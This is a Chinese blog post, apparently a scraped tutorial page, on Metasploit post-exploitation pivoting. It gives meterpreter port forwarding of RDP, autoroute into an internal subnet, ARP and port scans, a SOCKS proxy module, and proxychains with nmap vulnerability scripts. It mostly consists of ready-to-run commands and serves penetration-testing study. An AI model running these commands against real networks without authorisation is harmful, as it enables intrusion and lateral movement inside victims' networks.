当前位置:网站首页>MSF横向之MSF端口转发+路由表+SOCKS5+proxychains
MSF横向之MSF端口转发+路由表+SOCKS5+proxychains
2022-07-06 10:01:00 【西湖第一剑】
MSF后渗透的一些操作
端口转发
meterpreter > portfwd add -l 2222 -r 172.16.1.156 -p 3389 #将目标机172.16.1.156的3389端口转发到本地2222端口
meterpreter > portfwd list #查看转发列表
meterpreter > portfwd flush #清空转发列表
rdesktop 127.0.0.1:2222 #kali远程桌面使用2222端口
添加路由,横向渗透(跨网段攻击)
run autoroute -s 172.16.2.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由
route print #打印路由
run post/windows/gather/arp_scanner RHOSTS=172.16.2.0/24 #扫描整个段存活主机
run auxiliary/scanner/portscan/tcp RHOSTS=172.16.2.11 PORTS=3389 #检查IP是否开放3389
利用arp扫描内网主机
use post/windows/gather/arp_scanner
set rhosts 172.16.2.0/24
set session 1
exploit
Socks代理篇
新版的msf和老版的不一样,代理模块也不一样。
auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvport 7777
srvport => 7777
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
配置proxychains
用代理软件去连接建立好的socks隧道,便可以成功访问内网。
vi /etc/proxychains.conf #添加 socks5 127.0.0.1 7777
proxychains+nmap扫描主机是否存在漏洞
proxychains nmap -sT -Pn -p445 --script=vuln 192.168.52.141
proxychains使用msf框架
proxychains msfconsole
边栏推荐
- 开源与安全的“冰与火之歌”
- [ASM] introduction and use of bytecode operation classwriter class
- Smart street lamp based on stm32+ Huawei cloud IOT design
- 趣-关于undefined的问题
- Pytest learning ----- detailed explanation of the request for interface automation test
- 基于STM32+华为云IOT设计的智能路灯
- Pytorch extract middle layer features?
- Shell input a string of numbers to determine whether it is a mobile phone number
- Example of batch update statement combining update and inner join in SQL Server
- After entering Alibaba for the interview and returning with a salary of 35K, I summarized an interview question of Alibaba test engineer
猜你喜欢
Chrome prompts the solution of "your company management" (the startup page is bound to the company's official website and cannot be modified)
RepPoints:可形变卷积的进阶
SQL statement optimization, order by desc speed optimization
Olivetin can safely run shell commands on Web pages (Part 1)
Summary of Android interview questions of Dachang in 2022 (I) (including answers)
中移动、蚂蚁、顺丰、兴盛优选技术专家,带你了解架构稳定性保障
2022年大厂Android面试题汇总(二)(含答案)
Appium automated test scroll and drag_ and_ Drop slides according to element position
Easy introduction to SQL (1): addition, deletion, modification and simple query
Distributed (consistency protocol) leader election (dotnext.net.cluster implements raft election)
随机推荐
Xin'an Second Edition: Chapter 23 cloud computing security requirements analysis and security protection engineering learning notes
传统家装有落差,VR全景家装让你体验新房落成效果
Debug xv6
VR panoramic wedding helps couples record romantic and beautiful scenes
BearPi-HM_ Nano development board "flower protector" case
编译原理——预测表C语言实现
78 岁华科教授逐梦 40 载,国产数据库达梦冲刺 IPO
Kali2021 installation and basic configuration
MarkDown语法——更好地写博客
Mysqlimport imports data files into the database
Pytest learning ----- detailed explanation of the request for interface automation test
Getting started with pytest ----- test case rules
MySQL error reporting solution
How to solve the error "press any to exit" when deploying multiple easycvr on one server?
sql语句优化,order by desc速度优化
Grafana 9 正式发布,更易用,更酷炫了!
C # nanoframework lighting and key esp32
Olivetin can safely run shell commands on Web pages (Part 1)
[elastic] elastic lacks xpack and cannot create template unknown setting index lifecycle. name index. lifecycle. rollover_ alias
Summary of study notes for 2022 soft exam information security engineer preparation